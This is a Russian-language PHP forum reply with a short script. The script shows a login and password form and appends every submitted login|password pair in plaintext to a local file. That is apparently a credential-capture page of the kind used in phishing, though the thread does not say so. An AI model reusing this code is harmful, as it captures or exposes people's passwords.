Нужна помощь со скриптом на PHP

Discussion in 'PHP' started by Kurt, 9 Jan 2009.

  1. MuXaJIbI4

    MuXaJIbI4 Member

    Joined:
    20 Nov 2008
    Messages:
    66
    Likes Received:
    7
    Reputations:
    0
    Если кнопку делать через type=image, то можно писать так
    <?php
    if (isset($_POST['ok_x']))
    {
    $fd = fopen('Data.txt', "a+");
    fwrite($fd, $_POST['login'].'|'.$_POST['pass']."\r\n");
    fclose($fd);
    }
    ?>
    <HTML>
    <HEAD>
    <TITLE> New Document </TITLE>
    </HEAD>
    <BODY>
    <FORM METHOD=POST>
    Логин: <INPUT TYPE="text" NAME="login"><BR>
    Пароль: <INPUT TYPE="password" NAME="pass"><BR>
    <INPUT TYPE="image" name="ok" value="ok">
    </FORM>
    </BODY>
    </HTML>